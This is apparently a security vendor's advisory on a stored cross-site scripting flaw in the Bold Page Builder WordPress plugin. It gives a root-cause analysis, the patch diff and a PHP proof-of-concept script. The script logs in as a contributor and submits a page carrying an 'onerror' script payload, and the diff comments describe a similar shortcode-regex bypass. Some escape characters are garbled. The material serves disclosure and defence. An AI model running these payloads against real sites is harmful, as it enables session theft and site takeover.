Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-125455: Bold Page Builder <= 5.9.11 Authenticated (Contributor+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 5.9.11
Patched Version 5.9.12
Disclosed November 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-125455: This is a stored cross-site scripting vulnerability in the Bold Page Builder WordPress plugin, affecting all versions up to and including 5.9.11. The flaw allows authenticated users with Contributor-level access or higher to inject arbitrary web scripts into pages, which then execute in the context of any user viewing the page (including administrators). The CVSS score is 6.4, reflecting the need for authenticated access but the potential for significant impact due to privilege escalation.

The root cause lies in insufficient input sanitization and output escaping within the plugin’s shortcode processing and content rendering pipeline. Specifically, the `BT_BB_Callback` class in `bold-builder.php` fails to properly filter content for authors lacking the `unfiltered_html` capability. When processing shortcodes, the `bt_bb_do_shortcode_tag` method handles inner content (`_content`) and leftover text between shortcodes. Before the patch, content was passed through without re-filtering, allowing malicious HTML to survive. The shortcode regex (`get_shortcode_regex`) can misinterpret HTML attributes as shortcodes, leading to malformed markup that bypasses `wp_kses_post`. Additionally, several content elements (Google Maps, Leaflet Map) failed to sanitize data attributes (API keys, coordinates, custom styles) that are later used in JavaScript or innerHTML contexts. The patch introduces a trust check via `bt_bb_author_can_unfiltered_html()` and applies `wp_kses_post` to untrusted content. It also adds sanitization functions for map coordinates (`bt_bb_sanitize_map_coordinate`) and Leaflet custom styles (`bt_bb_sanitize_leaflet_custom_style`).

Exploitation requires an attacker with Contributor or higher privileges. The attacker crafts a page containing a malicious shortcode or HTML payload. For example, they could insert a shortcode like `[bt_bb_headline title=’‘]` or exploit the map elements by setting the `api_key` parameter to a value that breaks out of the intended URL context, or inject malicious JavaScript via the `custom_style` field (base64-encoded) that is later decoded and inserted into the Leaflet map’s attribution via innerHTML. The payload executes when any user (including an admin) views the page.

The patch fixes the issue by implementing capability checks and output filtering. In `bold-builder.php`, the `BT_BB_Callback` constructor now accepts an `$author_trusted` flag (based on `bt_bb_author_can_unfiltered_html()`). When processing inner content (`_content`), if the author is untrusted, `wp_kses_post` is applied. For leftover text between shortcodes, `wp_kses_post` is always applied (since it should never contain legitimate HTML). This prevents malicious markup from surviving the shortcode replacement. Additionally, the Google Maps elements now sanitize the `api_key` (allowing only alphanumeric, underscore, hyphen) and coordinates (via `bt_bb_sanitize_map_coordinate`, which ensures numeric values). The Leaflet map element sanitizes the `custom_style` by base64-decoding, validating URLs, and running attributions through `wp_kses` with a restricted allowlist. These measures ensure that data used in JavaScript or innerHTML contexts is safe.

The impact of exploitation is stored XSS, which can lead to session hijacking, privilege escalation (if an admin views the page), data theft, or site takeover. An attacker could inject JavaScript that creates a new administrative user, modifies plugin settings, or redirects visitors to malicious sites. The vulnerability requires authenticated access, but Contributor accounts are often available on multi-author sites, making it a realistic threat.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/bold-page-builder/bold-builder.php
+++ b/bold-page-builder/bold-builder.php
@@ -3,7 +3,7 @@
 /**
  * Plugin Name: Bold Page Builder
  * Description: WordPress page builder.
- * Version: 5.9.11
+ * Version: 5.9.12
  * Author: BoldThemes
  * Author URI: https://www.bold-themes.com
  * License: GPL v2 or later
@@ -14,7 +14,7 @@
 defined( 'ABSPATH' ) || exit;

 // VERSION --------------------------------------------------------- \
-define( 'BT_BB_VERSION', '5.9.11' );
+define( 'BT_BB_VERSION', '5.9.12' );
 // VERSION --------------------------------------------------------- \

 define( 'BT_BB_FEATURE_ADD_ELEMENTS', true );
@@ -1728,9 +1728,13 @@
 		$pattern = get_shortcode_regex();

 		global $bt_bb_array;
-
-		$callback = new BT_BB_Callback( $bt_bb_array );
-
+
+		// Text nodes built here are handed to the editors as HTML. Content saved
+		// by an author without unfiltered_html is re-filtered (see the callback).
+		$author_trusted = function_exists( 'bt_bb_author_can_unfiltered_html' ) && bt_bb_author_can_unfiltered_html();
+
+		$callback = new BT_BB_Callback( $bt_bb_array, $author_trusted );
+
 		$preg_cb = preg_replace_callback( "/$pattern/s", array( $callback, 'bt_bb_do_shortcode_tag' ), $content );
 	}
 }
@@ -1739,8 +1743,11 @@

 	private $bt_bb_array;

-    function __construct( &$bt_bb_array ) {
+	private $author_trusted;
+
+    function __construct( &$bt_bb_array, $author_trusted = FALSE ) {
         $this->bt_bb_array = &$bt_bb_array;
+        $this->author_trusted = (bool) $author_trusted;
     }

 	function bt_bb_do_shortcode_tag( $m ) {
@@ -1768,10 +1775,27 @@

 			if ( isset( $bt_bb_map[ $m[2] ]['accept']['_content'] ) && $bt_bb_map[ $m[2] ]['accept']['_content'] ) {
 				$r = $m[5];
+				// A contiguous slice of what was saved: every tag in it is one kses
+				// already saw. Re-filter for untrusted authors as defense in depth.
+				if ( ! $this->author_trusted ) {
+					$r = wp_kses_post( $r );
+				}
 			} else {
-				$callback = new BT_BB_Callback( $this->bt_bb_array[ count( $this->bt_bb_array ) - 1 ]['children'] );
+				$callback = new BT_BB_Callback( $this->bt_bb_array[ count( $this->bt_bb_array ) - 1 ]['children'], $this->author_trusted );
 				$r = preg_replace_callback( "/$pattern/s", array( $callback, 'bt_bb_do_shortcode_tag' ), $m[5] );
 				$r = trim( $r );
+				// What is left here is the text *between* the shortcode matches, with
+				// the matches cut out. The shortcode regex does not understand HTML, so
+				// a match can start inside an attribute value and end in text, and
+				// joining the two sides produces markup kses never saw: e.g.
+				// <img title="[bt_bb_headline"> x ]" onerror=...> loses everything
+				// from the bracket to the bracket and comes out as a live onerror.
+				// The builder never writes text into a container that does not accept
+				// it, so this is only ever leftover text: always filter it, whoever
+				// the author is.
+				if ( $r != '' ) {
+					$r = trim( wp_kses_post( $r ) );
+				}
 			}

 			if ( $r != '' ) {
--- a/bold-page-builder/content_elements/bt_bb_google_maps/bt_bb_google_maps.php
+++ b/bold-page-builder/content_elements/bt_bb_google_maps/bt_bb_google_maps.php
@@ -14,7 +14,11 @@
 			'map_type'   	=> 'interactive',
 			'center_map'   	=> ''
 		) ), $atts, $this->shortcode ) );
-
+
+		// Google API keys are [A-Za-z0-9_-]. Anything else could only be used to
+		// add parameters to the Maps script URL or the static map image URL.
+		$api_key = preg_replace( '/[^A-Za-z0-9_-]/', '', (string) $api_key );
+
 		$class_master = 'bt_bb_map';

 		$class = array( $this->shortcode, $class_master );
--- a/bold-page-builder/content_elements/bt_bb_google_maps_location/bt_bb_google_maps_location.php
+++ b/bold-page-builder/content_elements/bt_bb_google_maps_location/bt_bb_google_maps_location.php
@@ -10,8 +10,12 @@
 			'longitude' => '',
 			'icon'      => ''
 		) ), $atts, $this->shortcode ) );
-
-        $class_master = 'bt_bb_map_location';
+
+		// Coordinates are read back by the map script, so only numbers go out.
+		$latitude  = bt_bb_sanitize_map_coordinate( $latitude, '' );
+		$longitude = bt_bb_sanitize_map_coordinate( $longitude, '' );
+
+        $class_master = 'bt_bb_map_location';

 		$class = array( $this->shortcode, $class_master );

--- a/bold-page-builder/content_elements/bt_bb_leaflet_map/bt_bb_leaflet_map.php
+++ b/bold-page-builder/content_elements/bt_bb_leaflet_map/bt_bb_leaflet_map.php
@@ -16,6 +16,10 @@
 			'zoom_control'          => ''
 		) ), $atts, $this->shortcode ) );

+		// Tile URLs and attribution text are base64-encoded into the page, where
+		// kses never saw them; the attribution ends up in Leaflet's innerHTML.
+		$custom_style = bt_bb_sanitize_leaflet_custom_style( $custom_style );
+
 		$zoom		= $zoom == '' ? '9' : $zoom;
 		$max_zoom	= $max_zoom == '' ? '15' : $max_zoom;

--- a/bold-page-builder/content_elements/bt_bb_leaflet_map_location/bt_bb_leaflet_map_location.php
+++ b/bold-page-builder/content_elements/bt_bb_leaflet_map_location/bt_bb_leaflet_map_location.php
@@ -15,13 +15,10 @@

 		$class = array( $this->shortcode, $class_master );

-		if ( $latitude == '' ) {
-			$latitude = 0;
-		}
-
-		if ( $longitude == '' ) {
-			$longitude = 0;
-		}
+		// Coordinates are read back by the map script, so only numbers go out
+		// (empty or non-numeric falls back to 0, as an empty value always did).
+		$latitude  = bt_bb_sanitize_map_coordinate( $latitude, 0 );
+		$longitude = bt_bb_sanitize_map_coordinate( $longitude, 0 );

         if ( $el_class != '' ) {
 			$class[] = $el_class;
--- a/bold-page-builder/content_elements_misc/misc.php
+++ b/bold-page-builder/content_elements_misc/misc.php
@@ -387,6 +387,85 @@
 	}
 }

+if ( ! function_exists( 'bt_bb_sanitize_map_coordinate' ) ) {
+	/**
+	 * Returns a map latitude/longitude as a plain number string, or $fallback.
+	 *
+	 * Map scripts read coordinates back out of data-* attributes, where
+	 * jQuery.data() hands them back entity-decoded; esc_attr() on output does
+	 * not make a non-numeric value safe once a script builds markup or URLs
+	 * from it. The trimmed original string is returned (not a float cast) so
+	 * the decimal separator never depends on the PHP locale.
+	 *
+	 * @param mixed $value    Raw attribute value.
+	 * @param mixed $fallback Returned for empty or non-numeric input.
+	 * @return mixed
+	 */
+	function bt_bb_sanitize_map_coordinate( $value, $fallback = '' ) {
+		if ( ! is_scalar( $value ) ) {
+			return $fallback;
+		}
+		$value = trim( (string) $value );
+		if ( $value === '' || ! is_numeric( $value ) || ! is_finite( (float) $value ) ) {
+			return $fallback;
+		}
+		return $value;
+	}
+}
+
+if ( ! function_exists( 'bt_bb_sanitize_leaflet_custom_style' ) ) {
+	/**
+	 * Sanitizes the Leaflet map "Additional map layers" value.
+	 *
+	 * The field is stored base64-encoded, so post-content kses never sees the
+	 * decoded text. Each line is "tile URL,attribution". Lines whose URL is not
+	 * an absolute http(s) or protocol-relative URL are dropped, and every
+	 * attribution field is passed through wp_kses() with a small inline
+	 * allowlist, because Leaflet writes attributions with innerHTML.
+	 *
+	 * @param string $custom_style Base64-encoded layer list.
+	 * @return string Base64-encoded sanitized layer list, or '' if nothing is left.
+	 */
+	function bt_bb_sanitize_leaflet_custom_style( $custom_style ) {
+		$custom_style = trim( (string) $custom_style );
+		if ( $custom_style === '' ) {
+			return '';
+		}
+
+		$decoded = base64_decode( $custom_style, true );
+		if ( $decoded === false || $decoded === '' ) {
+			return '';
+		}
+
+		$allowed_html = array(
+			'a'      => array( 'href' => true, 'title' => true, 'target' => true, 'rel' => true ),
+			'b'      => array(),
+			'strong' => array(),
+			'i'      => array(),
+			'em'     => array(),
+			'small'  => array(),
+			'span'   => array(),
+			'br'     => array(),
+		);
+
+		$lines = array();
+		foreach ( explode( "n", $decoded ) as $line ) {
+			$fields = explode( ',', $line );
+			$fields[0] = trim( $fields[0] );
+			if ( ! preg_match( '#^(https?:)?//#i', $fields[0] ) ) {
+				continue;
+			}
+			$count = count( $fields );
+			for ( $i = 1; $i < $count; $i++ ) {
+				$fields[ $i ] = wp_kses( $fields[ $i ], $allowed_html );
+			}
+			$lines[] = implode( ',', $fields );
+		}
+
+		return empty( $lines ) ? '' : base64_encode( implode( "n", $lines ) );
+	}
+}
+
 if ( ! function_exists( 'bt_bb_get_url' ) ) {
 	function bt_bb_get_url( $link, $post_type = 'page' ) {
 		if ( substr( $link, 0, 4 ) == 'www.' ) {

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-125455 - Bold Page Builder <= 5.9.11 - Authenticated (Contributor+) Stored Cross-Site Scripting

$target_url = 'http://example.com'; // Change to your WordPress site URL
$username = 'contributor'; // Contributor-level username
$password = 'password'; // Contributor password

// Initialize cURL session
$ch = curl_init();

// Step 1: Log in to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Create a new page with malicious shortcode (requires Contributor+)
// The payload uses a malformed shortcode to break out of an attribute and inject JavaScript
$page_title = 'XSS PoC';
$page_content = '[bt_bb_headline title="<img src=x onerror=alert(document.cookie)>"]';

// Get the nonce for creating a page (Contributors can create pages but not publish)
$admin_url = $target_url . '/wp-admin/post-new.php?post_type=page';
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Extract nonce from the page (simplified; in real scenario parse HTML)
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';

if (empty($nonce)) {
    die('Failed to obtain nonce. Ensure the user has Contributor role.');
}

// Submit the new page
$post_url = $target_url . '/wp-admin/post.php';
$post_data = array(
    'action' => 'editpost',
    'post_type' => 'page',
    'post_title' => $page_title,
    'content' => $page_content,
    'post_status' => 'pending', // Contributor can only submit for review
    '_wpnonce' => $nonce,
    'post_ID' => '0' // New post
);

curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);

// Step 3: Verify the page was created (simplified)
if (strpos($response, 'post=') !== false) {
    echo "Page created with malicious content. An admin must approve and view it for XSS to trigger.n";
} else {
    echo "Failed to create page. Check credentials and permissions.n";
}

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.